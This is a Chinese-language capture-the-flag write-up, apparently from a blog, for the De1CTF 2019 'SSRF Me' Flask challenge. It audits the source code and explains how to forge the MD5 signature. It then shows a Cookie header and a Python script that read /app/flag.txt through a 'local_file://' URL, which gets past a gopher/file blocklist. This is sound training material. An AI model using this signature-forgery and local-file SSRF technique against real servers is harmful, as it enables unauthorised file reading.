[De1CTF 2019]SSRF Me
[De1CTF 2019]SSRF Me - My_Dreams - 博客园 (cnblogs.com)
一道审计代码的题,感觉还挺有意思的
题目底下还给了个提示:flag is in ./flag.txt
先将代码格式化
#!/usr/bin/env python
# encoding=utf-8
from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json
# The following line is not needed in Python 3 as it sets default encoding to UTF-8.
# If you need to set the default encoding, do it at the start of your script before any other imports.
# reload(sys)
# sys.setdefaultencoding('latin1')
app = Flask(__name__)
secret_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = hashlib.md5(ip.encode()).hexdigest()
if not os.path.exists(self.sandbox):
# Sandbox for Remote Addr
os.mkdir(self.sandbox)
def exec_task(self):
result = {}
result['code'] = 500
if self.check_sign():
if "scan" in self.action:
with open(f"./{self.sandbox}/result.txt", 'w') as tmpfile:
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
elif "read" in self.action:
with open(f"./{self.sandbox}/result.txt", 'r') as f:
result['code'] = 200
result['data'] = f.read()
else:
result['code'] = 500
result['msg'] = "Sign Error"
if result['code'] == 500 and 'msg' not in result:
result['data'] = "Action Error"
return result
def check_sign(self):
if get_sign(self.action, self.param) == self.sign:
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def gene_sign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return get_sign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.exec_task())
@app.route('/')
def index():
return open("code.txt", "r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def get_sign(action, param):
return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()
def md5(content):
return hashlib.md5(content.encode()).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)
这道题主要是个代码审计,这个python代码由flask框架组成
有三个路由
主要是需要我们一步步的分析,先查看一下路由/De1ta
因为这个路由里面包含的东西比较多
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.exec_task())
先定义一个challenge
的函数
用get
的方式传入param
,在cookie
里面传递action
和sign
但是我们传入的param
需要进行一个waf
函数的判断,看看waf
函数
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
应该就是说如果里面包含了gopher
和file
就返回True,那么就会返回"No Hacker!!!!"
所以我们不能用协议来进行读取
继续看challenge
函数,将这些参数传给了Task
类,并且返回了类中的exec_task()
方法
def exec_task(self):
result = {}
result['code'] = 500
if self.check_sign():
if "scan" in self.action:
with open(f"./{self.sandbox}/result.txt", 'w') as tmpfile:
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
elif "read" in self.action:
with open(f"./{self.sandbox}/result.txt", 'r') as f:
result['code'] = 200
result['data'] = f.read()
else:
result['code'] = 500
result['msg'] = "Sign Error"
if result['code'] == 500 and 'msg' not in result:
result['data'] = "Action Error"
return result
第一个if对check_sign()
函数进行了调用
def check_sign(self):
if get_sign(self.action, self.param) == self.sign:
return True
else:
return False
将action
和param
经过了get_sign()
函数的调用后与sign
相等,则返回True
看看get_sign
函数
def get_sign(action, param):
return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()
就是将三个东西secret_key,param,action
进行了md5加密后,与hexdigest()
进行了一个拼接
然后我们发现路由/geneSign
也与get_sign
有关,最后返回调用了get_sign
,我们可以再看看这个路由
@app.route("/geneSign", methods=['GET', 'POST'])
def gene_sign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return get_sign(action, param)
这个路由可以生成我们需要的md5
回到exec_task()
函数
发现后面两个判读语句
if "scan" in self.action:
elif "read" in self.action:
就是说action
里面需要包含scan
和read
才能得到我们的flag.txt
整道题就清晰了一点
就是我们要经过路由GET传参param
,在Cookie里面添加action
和sign
action
里面要包含scan
和read
,sign
要和action
和param
经过了get_sign()
函数的调用后的值相等
试着传入/geneSign?param=flag.txt
得到了一个md5加密值,其中包含了action=scan
,现在我们需要让action=read
在getSign
处
return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()
假设secret_key
是xxx
,param
是flag.txt
,action
是scan
返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan')
,在 python 里面上述表达式就相当于md5(xxxflag.txtscan)
如果我们构造/geneSign?param=flag.txtread
,那么我们拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan')
,等价于 md5('xxxflag.txtreadscan')
这就拿到了我们的sign
值
645c5520198a79f1b90da8cff9f1276a
然后访问/De1ta?param=flag.txt
最后添加Cookie
头
Cookie:action=scanread;sign=645c5520198a79f1b90da8cff9f1276a
用大佬的脚本:(但是我觉得上面的要好理解一点)
De1CTF 2019 天枢 WriteUp - 先知社区 (aliyun.com)
import requests
conn = requests.Session()
url = "http://d3575789-ee18-4a61-a365-45ccc046d777.node5.buuoj.cn:81/"
def geneSign(param):
data = {
"param": param
}
resp = conn.get(url+"/geneSign",params=data).text
print (resp)
return resp
def challenge(action,param,sign):
cookie={
"action":action,
"sign":sign
}
params={
"param":param
}
resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
sign = geneSign("{}read".format(filename.format(i)))
resp = challenge("readscan",filename.format(i),sign)
if("title" in resp):
a.append(i)
print (resp,i)
print (a)